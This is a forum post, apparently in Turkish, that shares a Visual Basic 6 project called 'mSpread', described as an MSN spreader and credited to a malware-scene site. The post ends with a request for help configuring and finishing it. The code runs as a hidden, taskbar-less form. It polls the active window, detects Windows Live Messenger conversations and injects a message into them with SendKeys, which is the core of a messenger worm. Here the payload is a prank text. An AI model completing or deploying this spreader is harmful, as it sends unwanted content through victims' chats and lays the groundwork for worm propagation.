frmMain.FRM Dosyası
VERSION 5.00
Begin VB.Form frmMain
BorderStyle = 0 'None
ClientHeight = 480
ClientLeft = 0
ClientTop = 0
ClientWidth = 720
LinkTopic = "Form1"
ScaleHeight = 480
ScaleWidth = 720
ShowInTaskbar = 0 'False
StartUpPosition = 1 'CenterOwner
Begin VB.Timer TM
Interval = 2000
Left = 0
Top = 0
End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'--------------------------------------------------------------------------'// Simple spread msn by SharkI
'// Información de ventanas basadas en : http://www.recursosvisualbasic.com.ar/htm/listado-api/138-GetWindowText.htm
'// Visite http://scblabsteam.blogspot.com o http://indetectables.net
'
--------------------------------------------------------------------------
Private Sub TM_Timer()
lRet = GetForegroundWindow() ' Obtenemos el handle de la ventana activa
Capt = Space$(1024) ' Creamos un buffer para el titulo de la ventana
nWindow = GetWindowText(lRet, Capt, Len(Capt)) ' Obtenemos la cantidad de carácteres
Capt = Left$(Capt, nWindow) ' Obtenemos el nombre de la ventana
If Capt <> "" Then ' Verificamos que en la variable Capt halla datos
Dat() = Split(Capt, "@") ' Hacemos un split para hacer una 1 verificación
If UBound(Dat) > 0 Then ' Verificamos si dentro de la matriz Dat() hay datos
If InStr(1, Dat(1), ">") Then ' Hacemos una 2 verificación para saber si es una ventana de Windows Live Messenger
If InStr(1, Capt, "@") Then SendKeys ("Hola soy tu menstruación!" & "{ENTER}") ' Si se encontró una ventana de 'WLM' le escribe un mensaje
End If
End If
End If
End Sub-----------------------------------------------------------------------
mDeclarations.BAS dosyası
-----------------------------------------------------------------------
Attribute VB_Name = "mDeclarations" Public Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function GetForegroundWindow Lib "User32" () As Long Public lRet As Long, nWindow As String, Capt As String, Dat() As String
-----------------------------------------------------------------------
mSpread.VBP dosyası
-----------------------------------------------------------------------
Type=Exe
Form=frmMain.frm
Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\WINDOWS\system32\stdole2.tlb#OLE Automation
Module=mDeclarations; mDeclarations.bas
IconForm="frmMain"
Startup="frmMain"
HelpFile=""
Title="mSpread"
Command32=""
Name="mSpread"
HelpContextID="0"
CompatibleMode="0"
MajorVer=1
MinorVer=0
RevisionVer=0
AutoIncrementVer=0
ServerSupportFiles=0
VersionCompanyName="SharkI Development"
VersionLegalCopyright="SharkI!"
CompilationType=-1
OptimizationType=0
FavorPentiumPro(tm)=0
CodeViewDebugInfo=0
NoAliasing=0
BoundsCheck=0
OverflowCheck=0
FlPointCheck=0
FDIVCheck=0
UnroundedFP=0
StartMode=0
Unattended=0
Retained=0
ThreadPerObject=0
MaxNumberOfThreads=1
[MS Transaction Server]
AutoRefresh=1-----------------------------------------------------------------------mSpread.VBW dosyası
-----------------------------------------------------------------------
frmMain = 66, 75, 785, 525, Z, 22, 25, 741, 475, C
mDeclarations = 44, 50, 763, 500,
-----------------------------------------------------------------------
Dosyalarım Bu
Bunu Configini Nasıl Ayarlarım
Yda Nasıl Tamamen Bitiririz.
Şimdiden Teşekkurler.